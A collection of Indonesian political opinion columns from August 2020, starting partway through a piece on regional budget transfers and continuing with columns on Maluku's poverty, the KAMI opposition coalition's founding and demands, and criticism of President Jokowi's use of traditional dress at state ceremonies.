Didalam Nota Keuangan RAPBN 2021, terdapat alokasi sebesar Rp. 796,3 triliun yang dialokasikan dalam bentuk Transfer Ke Daerah dan Dana Desa ( TKDD ). Jumlah ini meningkat 4,2% dibanding tahun 2020. Dipandang dari sudut ini, kelihatannya terdapat affirmasi terhadap peran pemerintah daerah dan desa dalam pemulihan ekonomi nasional. Namun sesungguhnya proporsi ini menjadi tidak “menggembirakan”. Apalagi melihat proporsi alokasi TKDD dibandingkan dengan rencana Belanja RAPBN yang mencapai Rp. 2.747,5 trilliun. Alokasi TKDD hanya 28,98% dari total RAPBN 2021. 71,02% RAPBN 2021 dikonsentrasikan dalam wujud Belanja Pemerintah Pusat. Pada APBN 2018, dari Rp. 2.220,7 trilliun pagu Belanja Negara, alokasi TKDDnya berjumlah Rp. 766,2 triliun. Proporsi TKDD terhadap belanja negara sebesar 34,5%. Sedang belanja Pemerintah Pusat sebesar 65,5%. Demikian juga pada APBN 2019, dari pagu Belanja Negara sebesar Rp. 2.461,11 triliun, alokasi TKDDnya sebesar Rp. 826,77 triliun. Proporsi TKDD-nya sebesar 33,59%. Tren penurunan proporsi ini menunjukkan meningkatnya upaya resentralisasi kebijakan ekonomi ke tangan pemerintah pusat. Kebijakan reversal semacam ini berlawanan dengan tujuan asasi dari pemberian otonomi kepada daerah. Sekaligus juga menegasikan peran vital perekonomian daerah dalam membantu pemulihan ekonomi secara nasional. Apakah kebijakan resentralisasi ini akan menyederhanakan kordinasi pemulihan ekonomi nasional? Dengan landskap regulasi dan struktur pemerintahan Indonesia, nampaknya upaya resentralisasi ini justru akan menciptakan “bottlenecking” dalam upaya eksekusi kebijakan. Yang diperlukan sebetulnya adalah pembesaran proporsi alokasi TKDD yang memungkinkan percepatan aksi counter-cyclical lokal dalam membalikkan situasi perekonomian. Pelaku usaha lokal yang memiliki keterkaitan erat dengan fungsi multiplier fiskal dalam pembentukan Produk Domestik Regional Bruto (PDRB) perlu “ dibonceng” dalam skala massif. Tulisan ini sekaligus juga menghimbau kepada pihak-pihak yang mendapatkan mandat untuk menyusun RUU APBN 2021 yang akan selesai dibahas pada bulan Oktober nanti. Untuk memulihkan proporsi yang patut bagi alokasi TKDD yang visibel bagi pemulihan ekonomi nasional. Setidaknya, 35% dari pagu Belanja Negara dialokasikan kembali kepada TKDD. Sebagaimana yang pernah dilakukan, di dalam pasal-pasal yang berkaitan dengan alokasi tambahan yang baru itu, diatur pula mengenai suatu payung hukum peraturan dibawah Undang-Undang yang memungkinkan Pemerintah Daerah untuk mengeksekusinya secara cepat. Apabila diperlukan, pengaturan mengenai tata laksana pengadaan barang dan jasanya juga diatur secara khusus dibawah kerangka pemulihan ekonomi nasional Dirgahayu NKRI ke 75. Selamat Tahun Baru 1 Muharram 1442 Hijriah. Wallahu ‘alam. Penulis adalah Pelaku Usaha dan Mantan Wakil Ketua Komisi XI DPR RI.

Wajah Muram Maluku Setelah 75 Tahun Kemerdekaan

by Apriliska Lattu Titahena Jakarta FNN – Kamis (2/008). Sejarah tentang pergerakan kemerdekaan Indonesia tidak dapat terlepas dari peran provinsi Maluku. Apalagi Maluku adalah satu diantara delapan provinsi yang pertama kali memerdekakan negeri ini. Kalau diibartkan perusahaan, maka Maluku adalah pemegang pendiri Negara Kesatuan Republik Indonesia yang berdiri 17 Agustus 1945. Dalam keputusan sidang II Panitia Persiapan Kemerdekaan Indonesia (PPKI) tanggal 19 Agustus 1945, yang menyatakan bahwa Indonesia dibagi menjadi delapan provinsi. Delapan provinsi itu adalah Sumatera, Jawa Barat, Jawa Tengah, Jawa Timur, Sunda Kecil (Nusa Tenggara dan Bali), Sulawesi, Kalimantan dan Maluku. Catatan penting ini mengingatkan kita bahwa Maluku merupakan salah satu dari delapan provinsi yang mendirikan Republik Indonesia. Maluku ada bersama-sama dengan Indonesia sejak awal kemerdekaan. Tapatnya diakui tepat dua hari pasca proklamasi kemerdekaan Republik Indonesia tersebut. Bakaitan dengan itu, Provinsi Maluku pun telah mengeluarkan Peraturan Daerah (Perda) Provinsi Maluku Nomor 13 tahun 2005 tentang penetapan 19 Agustus sebagai peringatan HUT provinsi Maluku. Untuk itu, sebagai salah satu provinsi pendiri negara, Maluku bukanlah provinsi yang masih muda lagi. Provinsi ini sudah ada sejak 75 tahun silam. Peranan penting Maluku pasca kemerdekaan harusnya jangan didustai oleh pemerintah pusat. Jangan dianggap seperti tidak. Jangan juga dilirik dengan sebelah mata. Mengapa demikian? Hari ini, 19 Agustus 1945, atau 75 tahun Maluku menyatakan diri sebagai bagian penting dan strategis dari negeri ini. Sebuah pengakuan dan sikap rakyat Maluku, yang jangan dianggap biasa-biasa saja. Sebagai bagian dari negera ini, dan ikut mendirikan bangsa ini, masyarakat Maluku sangatlah serius mengikuti dinamika kebersamaan selama 75 tahun. Juga mencermati dengan serius perlakukan pemerintah pusat kepada Maluku selama ini. Namun, kenyataan pahit selalu dirasakan oleh Maluku. Nyata-nyata sangat meraskan kalau Maluku dianaktirikan oleh pemerintah Pusat. Maluku yang terkenal dengan sebutan “Negeri Seribu Pulau” punya potensi sumber daya alam melimpah dan kaya raya. Namun selama ini tak dikelolah dengan optimal. Realitas ini membuktikan bahwa Maluku dimiskinkan secara tidak terhormat dan terstruktur. Padahal kekayaan alam Maluku yang melipah seperti cengkih-pala yang dikenal dengan sebutan “buah-buah emas hijau” sudah lama diperdagangkan dipasar dunia, sejak berabad-abad yan lalu. Belakngan ditemukan sumber tertulis Romawi dari Plinius Major pada 75 Masehi yang mengatakan bahwa, cengkeh sudah dikenal pada awal abad Masehi. Berkaca dari pengalaman masa lalu tersebut, Maluku sebagai daerah penghasil rempah terbaik menjadikan Maluku sangat kaya. Lalu bagaimana bisa nasib Maluku pasca kemerdekaan Indonesia pada usia 75 tahun ini? Sekarang tercatat sebagai provinsi termiskin ke empat setelah Papua, Papua Barat dan NTT. Tragis sekelai. Daerah kaya, namun miskin. Selain itu, potensi sumber daya alam Maluku yang mampu memperkaya negara pun sangat besar. Ada sumber daya manusia dan sumber daya ekonomi lainnya yang berada pada ruang wilayah darat dan laut Maluku. Potensi perikanan Maluku adalah terbesar nomor empat di dunia. Nomor sastu adalah Bearing, nomor dua Alaska dan nomor tiga Skandinavia. Kekayaan laut bukan saja perikanan. Juga enargi gas alam cair yang sangat besar. Semua kekayaan alam di kawasan luat Maluku identik dengan perairan yang ini yang mampu menjadi jaminan kekayaan sebuah bangsa dan negarta. Ada solusi yang dapat ditawarkan ketika membaca potensi dan isu strategis yang menjadi Pekerjaan Rumah (PR) wilayah berbasis kepulauan ini. Untuk itu, sebaiknya ke depan kebijakan pembangunan lebih berorientasi pada laut. Lebih banyak melihat produksi kawasan kepulauan, namun tetap memadukan orientasi pembangunan kedarat secara berimbang (balance). Tentunya negara harus hadir untuk menjawab arah dan tantangan pembangunan provinsi Maluku tersebut. Tidak lagi seperti sekarang, yang dilirik dengan sebelah mata. Pemerintah pusat harus segera mewujudkan Maluku sebagai Lumbung Ikan Nasional (LIN). Negara harusnya memanfaatkan teritorial provinsi Maluku sebagai jawaban atas pembangunan yang berbasis kepulauan. Bukan hanya kebijakan yang bertumpu pada daratan semata. Berbicara tentang LIN, tentunya ini sudah isu lama. Hanya selama ini terhambat, karena pemerintah pusat tidak memperlihatkan keberpihakan. Apalagi mewujudkan RUU Kepulauan. Padahal Blok Gas Abadi Masela, tambang emas di Pulau Buru dan Romang serta potneis kekayaan Maluku lainnya, sudah sering dijdikan konsumsi masyarakat Maluku sebagai iming-iming pemerintah pusat. Melihat problematika pembangunan yang seperti ini, membuat beta sebagai salah satu aktivis perempuan Maluku bertanya-tanya, apa sebenarnya makna dari mukadimah UUD 1945? Apakah perwujudannya seperti ini bagi kami masyarakat Maluku? Pemerintah pusat harap jangan membuat kebijakan yang menindas kami orang Maluku! Hargai harkat dan martabat kami sebagai bagian dari Indonesia. Yang merupakan bagin penting dari Negara Merdeka. Keberadaan kami Maluku jangan didustai. Kalau hari ini kami harus dipaksa miskin di atas tanah yang kaya, ini adalah pembodohan yang nyata. Pembodohan yang harus kami rasakan di negara dengan semboyan Bhinneka Tunggal Ika ini. Harapan beta, negara harus adil untuk Maluku. Negara harusnya tidak lalai dalam menjawab hak-hak konstitusional masyarakat Indonesia yang ada di Maluku. Semoga negara tidak melupakan kutipan Bung Karno, sang Prokalamator bangsa yang mengatakan “Indonesia Tanpa Maluku Bukanlah Indonesia”. Salam dari Maluku untuk Indonesia. Penulis adalah Pemerhati Masalah Sosial dan Kemasyarakatan.

KAMI Hadapi Rezim Otoriterianisme Baru

by Ubedilah Badrun Jakarta FNN – Kamis (20/08). Koalisi Aksi Menyelamatkan Indonesia(KAMI) berdiri dan dideklarasikan di Tugu Proklamasi 18 Agustus 2020 lalu. Kelahiran KAMI akan memberi sumbangan berharga bagi sehatnya iklim demokrasi di Indonesia. Demokrasi yang tumbuh dan bermasalah di tengah rezim neo otoriterianisme baru. Rezim kekuasaan yang menempatkan kelompok civil society yang kristis sebagai musuh atau lawan politik, sehingga terkadang perlu dikriminalisasi. Bahkan ada juga yang mendapat perlukuan represif. Hanya berselang satu hari setelah deklarasi itu, pemilik lembaga survei LSI Denny JA membuat tulisan. Judul tulisan Denny JA adalah “Gerakan KAMI, Krisis Ekonomi dan Bola Biliar Politik”. Menurut Denny JA, ada tiga kemungkinan skenario KAMI, menjatuhkan Jokowi, memenangkan pilpres 2024, atau hanya sebagai bunga demokrasi. Apa yang disampaikan oleh Denny JA dalam tulisan tersebut adalah sebuah kemungkinan. Dari ketiga kemungkinan atau skenario tersebut, seluruhnya dapat dipahami sebagai kemungkinan yang memiliki peluang yang sama. Sebab kemungkinan skenario pertama dan kedua itu urusan kehendak rakyat banyak. Mekanisme konstitusionalnya juga sudah tersedia. Sebab lainya, saat ini satu-satunya oposisi non partai politik yang secara terang-terangan terorganisir dan terpimpin adalah KAMI. Selain KAMI adalah oposisi yang bersifat individual, masih dan berserakan. Sementara oposisi dari partai cuma ada PKS yang sekarang terang-terangan. KAMI berpotensi besar untuk menyatukan kekuatan oposisi non partai yang berserakan itu. Karena potensi itulah tiga kemungkinan skenario yang dianalisis Denny JA itu mungkin saja terjadi. Tetapi KAMI sejak awal tetap memilih jalan sebagai gerakan politik moral. tetapi bukan sekedar bunga demokrasi seperti yang ditulis Denny JA. Begini penjelasanya. Politik itu selalu dinamis dan berseni. Segala kemungkinan di politi bisa terjadi. Yang semula diperkirakan tidak terjadi, bisa berbalik menjadi terjadi. Namun demikian, secara jelas menjatuhkan Jokowi itu bukanlah tujuan KAMI. Karena itu bisa terlihat dari delapan tuntutan penyelamatan bangsa saat Deklarasi KAMI. Walaupun demikian, jika rakyat menilai bahwa pemerintahan ini melanggar Konstitusi UUD 1945. Pelanggaran tersebut juga bisa dibuktikan melalui mekanisme konstitusional (DPR, MK, DPR/DPD/MPR). Makas dalam UUD 1945 bisa saja Presiden diberhentikan oleh MPR. Yang pasti bukan dibehentikan oleh KAMI. Terlihat KAMI hanya berjuang bersama rakyat. Semuanya kembali ke rakyat lagi. Analisis skenario kedua versi Denny JA juga mungkin saja terjadi. KAMI menjadi King Maker terpilihnya dan beralihnya kepemimpinan nasional lewat pemilu 2024. Karena kekuatan ide-ide perubahan yang disampaikan KAMI mampu mendorong bersatunya kekuatan- kekuatan politik yang ada sehingga, hingga berhasil memunculkan capres-cawapres dan memenangkan pilpres 2024. Analisis kemungkinan skenario ketiga, juga mungkin saja terjadi. Tetapi tidak sekedar menjadi bunga demokrasi belaka. KAMI dalam konteks Indonesia saat ini memberi sumbangan berharga. Betapa pentingnya memilih jalan oposisi terorganisir ditengah rezim neo-otoriterianisme yang berlindung dibalik model populisme penguasa. Keberadaan KAMI menjadi bagian penting dari upaya merawat kewarasan demokrasi. Aapalagi di tengah represi neo-otoriterianisme yang sedang terjadi saat ini. Sejak berdirinya pada 18 Agustus 2020 lalu, KAMI memang memilih sebagai oposisi di garis perjuangan gerakan moral yang dijamin oleh konstitusi. Soal apa yang akan terjadi dalam bulan-bulan ke depan? Sebaiknya biarlah secara obyektif rakyat yang akan menilai dan bersikap. Karena secara substantif rakyatlah yang sesungguhnya berdaulat di negara demokrasi. Bukan sekelompok oligarki, korporasi dan konglomerasai. Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta.

Pakaian Adat Dan Pencitraan Jokowi

by M Rizal Fadillah Jakarta FNN – Kamis (20/08). Presiden Jokowi biasa menggunakan pakaian adat bukan pada acara biasa. Tetapi juga pada acara resmi. Pada tanggal 14 Agustus lalu, Presiden kembali menggunakan pakaian adat Sabu Nusa Tenggara Timur (NTT )saat berpidato dalam acara resmi Sidang Tahunan MPR. Rupanya Presiden lupa kalau 14 Agustus adalah Hari Pramuka. Jika mau, mestinya memakai pakaian Pramuka. Begitu juga pada tanggal 17 Agustus 2020 saat menjadi inspektur upacara HUT RI ke-75 di Istana Merdeka dengan memakai pakaian adat Timor Tengah Selatan NTT. Jualan citra adalah kebiasaannya. Entah siapa disainer pencitraannya tersebut. Yang jelas "mengadat-adatkan" diri yang demikian, belum tentu memunculkan sikap respek publik. Apalagi kekaguman. Sebaliknya, banyak nada sinis dan cemoohan yang terdengar dan terbaca, khususnya di media sosial. Bukan soal tidak bagusnya memakai pakaian adat yang dipakai. Akan tetapi penggunaannya yang tidak "nempat" dan mengada-ada, seperti karnaval anak-anak saja Taman Kanak-Kanak (TK). Ironinya sehari setelah penggunaan pakaian adat tersebut, masyarakat adat Basipae Timor Tengah Selatan mengalami nasib naas. Mereka mengalami intimidasi dan pemaksaan pengosongan lahan oleh Satpol PP, TNI, dan pasukan Brimob Polri. Rumah darurat yang dipakai masyarakat adat diobrak-abrik dan dirusak. Ibu-ibupun berteriak histeris karena terzalimi oleh Pemerintahan yang Presidennya memakai pakaian adat daerahnya. Tragis amat sih? Pakaian adat biasanya dipakai pada saat upacara adat atau festival-festival kebudayaan. Jarang sekali digunakan saat acara resmi. Apalagi saat menyampaikan pidato kenegaraan atau menjadi inspektur upacara. Jika ingin menunjukkan kecintaan pada adat dan budaya yang ada di negara Indonesia, maka ada tempat dan waktunya lebih pas Pak Jokowi. Bila sembarangan menggunakan pakaian adat, maka yang baik pun akan terihat buruk. Jangan marah jika ada yang menilai sebagai orang yang "tak tahu adat" atau "ada kelainan" atau "badut kampung" atau mungkin lainnya atas perilaku tak lazim itu. Bukan berniat mengejek pakaian adat, tetapi tidak terbayang, jika dalam acara Hari TNI nanti, Presiden menjadi Inspektur Upacara menggunakan pakaian adat ber "koteka". Tentu saja memalukan. Masalahnya bukan pada pakaian adatnya, tetapi waktu dan tempatnya itu yang memang tak pas. Makanya jangan asal pakai pakaian adat Pak Presiden. Mendidik dan memberi teladan bukan seperti yang sekarang dilakukan Presiden Jokowi. Kemarin saja ketika berpakaian adat Sabu Raijua yang disiapkan olrh istri Gubernur NTT Victor Laiskodat, para netizen mulai membandin-bandingkan dengan pakaian tentara Mongol. Ini dapat dimengerti, karena sentimen berbau Cina di kalangan publik sedang meningkat akibat masuknya banyak TKA Cina, dan eratnya hubungan Pemerintahan Jokowi dengan Pemerintah komunis RRC. Baiknya Pak Jokowi segera menghentikan budaya politik pencitraan tersebut. Ubah menjadi budaya kerja nyata yang lebih dirasakan manfaatnya oleh rakyat. Rakyat sudah semakin bosan dengan tipu-tipu palsu yang seperti itu. Harus ada gerakan pemberantasan kultur munafik pada diri para pejabat publik. Nah Presiden yang harus memulai. Bisakah ? Penulis adalah Pemerhati Politik dan Kebangsaan.

KAMI Datang, Tidak Bisa Lagi Berbalik Arah

by Dr. Masri Sitanggang Arah kehidupan bangsa dan negara akhir-akhir ini dinilai telah menyimpang dari nilai-nilai dasar dan cita-cita nasional. Melenceng dari tujuan bernegara. KAMI datang dengan delapan tuntutan. Bagaimana kalau tidak dipenuhi ? Suasana meriah di Tugu Proklamasi pagi itu mendadak hening. Semua mata tertuju pada Prof Sri Edi Swasono yang melangkah dengan tongkatnya menuju podium lalu memimpin menyanyikan lagu Indonesia Raya. Wajah yang telah senja, 80-an tahun itu tampak tulus dan penuh semangat. Wajah yang menyiratkan tekad kuat untuk perubahan Indonesia ke arah lebih baik. Hidmad dan mengharukan sekali. Tidak sedikit hadirin yang menghapus linang air matanya. Ini bukan upaca nasional biasa. Sejumlah tokoh besar nasional, di antaranya Prof. Din Syamsuddin, Jendral (Purn) Gatot Nurmantiyo, Dr. MS Kaban, Prof. Rocmat Wahab, Titiek Suharto, Mutia Hatta dan Prof. Sri Edi Suwasono berkumpul-bersama lima ribuan massa. Ini upacara sangat serius yang dipersiapkan bukan karena rutinitas tahunan. Ini merupakan titik awal sebuah gerakan Koalisi Aksi Menyelamatkan Indonesia (KAMI). Indonesia saat ini, sudah melenceng dari nilai-nilai dasar dan cita-cita kemerdekaan. KAMI hadir untuk meluruskan kembali kiblat bangsa. Upacara Nasional pada Hari Konstituusi, 18 Agustus, di Tugu Proklamasi itu adala gebrakan perdana. Tampilnya ekonomi senior yang dikenal bersih dan kritis, Sri Edi Swasono, sebagai dirigen lagu Indonesia Raya, dan putri seorang proklamator Mohammad Hatta, Mutia Hatta, membacakan teks prolamasi memberikan suasana kebathinan tersindir yang sulit dilukiskan. Pilihan waktu, tempat dan petugas upacara sangat tepat untuk menggambarkan upaya gerakan moral meluruskan kembali arah bangsa yang telah melenceng. Inilah sari diantara hal-hal kehidupan berbangsa yang dinilai telah jauh melenceng dari nilai-nilai dasar dan cita-cita nasional yang dibacakan oleh sejumlah deklarator KAMI secara bergantian. Pembangunan ekonomi gagal menciptakan kesejahteraan rakyat. Gagal mewujudkan keadilan sosial bagi seluruh rakyat Indonesia. Kesenjangan kaya dan miskin semakin lebar. Indonesia menjadi negara nomor empar paling timpang. Segelintir orang menguasai kekayaan negara hampir secara mutlak. Satu persen penduduk terkaya menguasai separuh kekayaan negara. Semnatara empat orang terkaya memiliki kekayaan setara dengan kekayaan 100 juta penduduk termiskin. Anehnya lagi, dengan dalih menanggulangi Pandemi Covid-19, pemerintah justru mengucurkan dana untuk membantu korporasi besar dan BUMN yang sudah merugi sebelum datangnya pandemi Covid. Tragis, aneh tapi nyata. Orientasi pembangunan ekonomi yang mengandalkan hutang , baik luar negeri maupun dalam negeri, telah menyebabkan beban rakyat semakin berat. Generasi mendatang, sejak lahir, telah menanggung hutang yang banyak. Sementara kecanduan impor yang dikuasai oleh para mafia, telah menghancurkan kedaulatan dan kemandirian pangan. Industri pangan nasional juga hancur berantakan. Pembangunan bidang politik, ditimbuni oleh praktik kekuasaan. Kebijakan penyelenggara negara tidak berkhidmat bagi kepentingan rakyat. Sebaliknya berkhidmat kepada bagi kepentingan oligarkhi politik, korporasi dan konglomerasi. Partai-Partai Politik dan DPR menjelma menjadi sekutu rezim penguasa dan pengusaha. Melakukan “persengkongkolan jahat” terhadap rakyat, bangsa dan negara. Demokrasi Indonesia jauh dari nilai kejujuran. Keadilan dan telah jatuh ke titik pragmatisme, oportunisme, transaksionalisme dan kriminalisme. Pilpres 2019 dinilai sangat curang dan paling berdarah dalam sejarah politik Indonesia. Sekitar 900 petugas Pemilu meninggal dunia tanpa penyidikan memadai. Unjuk rasa usai Pilpres di bulan Mei 2019 merenggut nyawa sembilan orang meninggal. Selain itu, 465 orang ditangkap, 74 diantaranya anak-anak dan informasi hilang 32 orang. Demikianlah kenyataan demokrasi kita. Sehingga pada tingkat global, demokrasi Indonesia anjlok 20 peringkat. Mendapat predikat sebagai negara dengan demokrasi cacat berkinerja paling buruk. Indonesia mengalami defisit kebebasan, dari status negara “bebas” menjadi “ bebas sebagian”. Tertinggal dibandingkan Timor Leste yang baru beberapa tahun lalu merdeka. Di bidang sosial budaya, masyarakat terbelah. Praktik politik belah bambu adalah penyebabnya. Demi kepentingan politik, penguasa cenderung mengadu domba antara kelompok masyarakat dengan mempertajam issue primordial dan sektarian. Melakukan diskriminasi dan provokasi atas dasar SARA. Menggunakan buzzer bayaran rupiah untuk menghancurkan lawan politik. Semua ini mengancam solidaritas sosial dan mengancam persatuan Indonesia. Pembentukan Hukum (Regulasi) terlihat karut-marut. Melenceng dari cita-cita hukum nasional, yaitu Pancasila sebagai filosofi grundslag (dasar Negara) dan Staat Fundamental Norm (sumber segala sumber hukum). Contoh sederhana adalah RUU HIP dan RUU BIP. RUU HIP jelas-jelas tidak hanya bertentangan dengan Pancasila. Malahan ingin mengganti Pancasila dengan Trisila dan Ekasila, yang membuka jalan lebar bagi bangkitnya Komunisme. Inilah tindakan makar terhadap Pancasila sesungguhnya. Perppu nomor 1/2020 yang telah menjadi Undang-undang nomor 2/2020 , bukan untuk melindungi dan menyelamatkan rakyat Indonesia dari pandemi covid-19. Melainkan justeru untuk menyelamatkan sistem keuangan, BUMN serta korporasi besar. Pandemi Covid-19 hanya dijadikan alasan pembenar. Demikian juga UU nomor 3/2020 tentang Minerba hanya untuk menyelamatkan korporasi tambang. Undang-undang nomor 19/2019 tentang KPK terbukti melemahkan KPK dalam pemberantasan tindak pidana korupsi. Saat ini nampak jelas, KPK mengalami kemandulan. KPK tak berdaya mengungkap kasus-kasus korupsi besar yang berkaitan dengan kekuasaan. RUU tentang Omnibus Law Cipta Kerja, dinilai sangat merugikan pekerja, petani, nelayan, masyarakat adat, UMKM dan Koperasi. Demikian juga praktek penegakan hukum, dinilai sangat diskriminastif. Hanya tajam ke bawah, dan tumpul ke atas. Hukum dijadikan alat pembungkam kalangan yang kritis atau mereka yang tidak sejalan dengan kekuasaan. Dalam prakteknya, dinilai terjadi transaksional. Masih banyak hal lain yang juga diungkapkan pada Upacara 18 Agustus itu. Misalnya, masalah pendidikan dan sumber daya alam. Untuk itu KAMI mengajukan 8 tuntutan kepada Pemerintah dan Penyelenggara Negara atau Lembaga Negara. Inti tuntutan itu antara lain agar para penyelenggara negara mengembalikan penyelenggaraan dan pengelolaan negara sesuai dengan amanat Pancasila dan Undang Undang Dasar 1945 yang disepakati pada 18 Agustus 1945 dan diberlakukan kembali melalui Dekrit 5 Juli 1959. Penyelenggara negara dituntut untuk tidak memberi peluang bagi bangkitnya komunisme dan ideologi anti Pancasila lainnya. Tidak membiarkan aksi separatisme, serta menghentikan stigmatisasi kelompok keagamaan dengan isu intoleransi, radikalisme dan ekstrimisme serta menghentikan upaya memecah belah masyarakat. Menuntut penyelenggara negara untuk memperbaiki praktek pembentukan hukum yang menyimpang dari Pancasila dan UUD 1945. Pemerintah dituntut menghentikan penegakan hukum yang karut-marut dan diskriminatif. Memberantas mafia hukum, menghentikan kriminalisasi lawan-lawan politik, menangkap dan menghukum berat para penjarah kekayaan negara. Menuntut Presiden untuk bertanggung jawab sesuai sumpah dan janji jabatannya. Mendesak Lembaga-lembaga Negara untuk melaksanakan fungsi dan kewenangan konstitusionalnya demi menyelamatkan rakyat, bangsa dan negara Indonesia. Pemerintah harus menegakkan kebijakan ekonomi dan politik luar negeri bebas aktif, dengan tidak condong bertekuk lutut kepada negara tertentu. Pemerintah harus bertanggung jawab mengatasi resesi ekonomi. Menyelamatkan rakyat miskin, petani dan nelayan, tenaga kerja bangsa sendiri, UMKM dan koperasi, serta sektor informal daripada membela kepentingan pengusaha besar dan asing. Pemerintah dituntut bersungguh-sungguh menanggulangi Pandemi COVID-19 untuk menyelamatkan rakyat Indonesia. Mengalokasikan anggaran yang memadai, termasuk untuk membantu langsung rakyat miskin yang terdampak secara ekonomi. Terakhir, yang tidak kalah pentingnya, menuntut pemerintah untuk secara sungguh-sungguh dan tuntas mengusut pihak-pihak yang melalui jalur konstitusi berupaya merubah Dasar Negara Pancasila. Sebab, yang demikian adalah upaya nyata-nyata untuk meruntuhkan NKRI hasil Proklamasi 17 Agustus 1945. Tuntutan KAMI itu jelas dan tegas. Tetapi bagaimana kalau pihak tertuntut tutup mata dan telinga? Ibarat anjing menggonggong kafilah berlalu ? Soalnya, hal seperti itu sudah terjadi sebelumnya. Rakyat teriak menolak berbagai RUU seperti dipersoalkan di atas, tidak memberi pengaruh apa-apa. Bahkan suara Ormas Besar Islam, Muhammadiyah dan NU, dan MUI se Indonesia yang akan melaksanakan Masirah Qubra berkaitan RUU HIPP dan BIP pun tidak diperdulikan. Let’s see, kita tunggu saja, kata Din Syamsudin, salah seorang Presidium KAMI. “No point to turn”. Tidak ada tempat untuk berbalik arah. Maju terus ! KAMI datang bukan untuk pulang. Yang pasti, suara KAMI mendapat resonansi di seluruh Indonesia. Seperti berlomba. Setiap provinsi dan kabupaten ingin mendeklarasikan KAMI daerah. Jadi, what will be going on? Sangat terantung respon pengelola negara ini, kususnya Presiden Jokowi. Di tangannyalah sekarang bola panas itu. Wallahu a’lam bisshawab. Penulis adalah Ketua Panitia Masyumi Reborn.

Pandangan KAMI Logis Dan Realistis

by Dr. Margarito Kamis SH. M.Hum Jakarta FNN – Kamis (20/08). Koalisi Aksi Menyelamatkan Indonesia (KAMI), yang diinisiasi oleh beberapa puluh orang, telah dideklarasikan. Deklarasi dilangsungkan di Tugu Proklamasi tanggal 18 Agustus, kemarin. Tak diduga deklarasi itu dihadiri oleh ribuan orang, dan sejauh berita yang tersaji, yang hadir berasal dari berbagai kalangan. Prosesinya memang berkelas. Namun yang terpenting adalah ketepatan mereka mengidentifikasi masalah-masalah inti yang melilit begitu kuat jiwa dan tubuh bangsa hari ini. Masalah-masalah itu mudah diverifikasi secara obyektif. Tidak mengada-ada. Semua bisa dicek rinciannya secara akademik. Sulit Mengingkari Naik dan bekerjanya pikiran ugal-ugalan yang memberi angin kencang untuk kebangkitan komunis teridentifikasi oleh KAMI. Dalam pandangan mereka, pikiran ini ditrasformasi ke dalam RUU HIP. Di saat yang sama krisis ekonomi yang untuk sebagian ekonom telah nyata. Krisis yang mengakibatkan derita rakyat terus dan semakin membesar. Oligarki, korporasi, dan konglomerasi, terlihat teridentifikasi sebagai penyebab terbesar semua masalah ini. Oligarki itu sudah merupakan semua penyakit politik dan hukum yang bahanya tak tertandingi. Apakah penyakit itu memiliki bobot membahayakan kelangsungan bangsa ini? Sejarah mengunci siapapun untuk tak perlu terlalu berkeringat mencari fakta yang dapat menyangkal bahaya penyakit-penyakit itu. Penyakit-penyakit itu, jelas membahayakan bangsa. Tidak ada ketidakadilan hukum, ekonomi dan politik yang menyenangkan. Tidak ada oligarki yang ditopang oleh keadilan. Tidak ada oligarki yang tidak menghasilkan korupsi. Malah oligarki itu sendiri telah merupakan korupsi dalam bentuknya yang asli. Oligarki tidak cukup dijelaskan dengan menunjuk kelemahan institusional sebagai penyebabnya. Tidak. Akar terdalam oligarki ada pada sistem politik. Tidak lebih. Itu telah ditunjukan sejak Romawi kuno. Mereka membentuk penguasa, dan penguasa yang dibentuk itu berfungsi sebagai katalisator kepentingan mereka dalam banyak aspek. Itu disajikan Machiavelli sebagai bahaya orang kaya dalam sebuah republik. Orang-orang kaya ini memandang orang miskin, pas-pasan. Tak lebih dari sekadar soal angka statistik. Tak pernah soal itu dikerangkakan dalam panduan nilai-nilai kemanusiaan. Dalam pandangan oligarki, problem ini hanya dijelaskan sebagai soal teknis semata. Pembaca FNN yang budiman, keagungan nilai-nilai kemanusiaan itulah dasar utama pembentukan republik, dimanapun di dunia ini. Sayang, oligarki tak menghenal nilai-nilai agung itu. Begitu oligarki melembaga dalam sistem, saat itulah semua nilai hebat itu melayang. Sejak oligarki melembaga, sejak itu pemerintah, dimanapun tak lagi bisa bertindak berdasarkan nurani atau jiwa konstitusi. Malah jiwa konstitusi diselewengkan. Oligarki cukup cerdas dalam menyediakan ide-ide. Konsep-konsep tata negara non teks konstitusi seperti inherent power, presidential privilege, presidential prerogative, memang terlihat hebat. Tetapi bila dikenal rinciannya secara praktis, maka konsep-konsep itu menjadi mantel hukum dan politik untuk kepentingan tersembunyi mereka. Sebagian dari konsep-konsep itu mengalir dari kaki tangan oligarki. Ini jelas berbahaya. Sama bahayanya dengan pemaduan sosialisme dan demokrasi. Cukup sering perpaduan dua konsep ini ditunjuk sebagai fundasi lahirnya konsep pemerintahan progresif. Tahukah konsep pemerintahan progresif, dalam praktiknya di negara lain merupakan merupakan jalan tol atas tindakan-tindakan administrasi negara yang melampaui perintah konstitusi? Tahukah anda bahwa konsep ini melahirkan konsep negara kesejahteraan? Tahukah tipikal negara kesejahteraan adalah pemerintah aktif terlibat dalam setiap senti kehidupan masyarakat? Tahukah konsep negara kesejahteraan dengan tipikal itu pada awalnya, malah teridentifikasi sebagai negara fasis? Setidaknya Herbert Hoveer, capres petahana yang menolak proposal oligarki, telah mengidentifikasinya. Akibatnya ia kalah dalam pemilu presiden Amerika tahun 1932. Penangguhan hak budget DPR melalui Perpu Nomor 1 Tahun 2020, dalam esensinya merupakan pengambi-alihan hak DPR oleh Presiden. Apakah cara ini hendak dibenarkan dengan konsep pemerintahan progresif khas Woodrow Wilson? Secara konstitusional, tidak bisa. Pemerintahan Bermasalah Jangan tanya apa yang diberikan negara kepada anda. Tetapi tanyakanlah apa yang mungkin anda berikan kepada negara. Ini kalimat hebat yang membahana di dunia setelah diucapkan John Kennedy, Presiden Amerika Serikat muda usia, cerdas dan tampan itu pada tahun 1962. Oke itu. Tetapi bukan tanpa masalah. Bila kata-kata hebat ini diterima apa adanya. Dipakai dalam kehidupan nasional Indonesia, maka akibatnya jelas. Negara ini bisa jadi fasis. Pemerintah tak boleh dikoreksi. Kebenaran dan kepantasan semuanya bersandar pada sikap pemerintah. Pemerintah memonopoli kebenaran. Itu bahayanya. Bahaya itu bekerja pada, misalnya penguasaan puluhan ribu hektar tanah oleh satu dua korporasi tak bisa disoal. Urusan dagang bawang merah, putih, dan lainnya yang acap diidentifikasi orang memiliki aroma kartel, juga penegakan hukum yang berantakan harus diterima apa adanya. Tidak ada pemerintahan didunia ini yang dibangun atas dasar pikiran pemerintah selalu bertindak sesuai nurani republik. 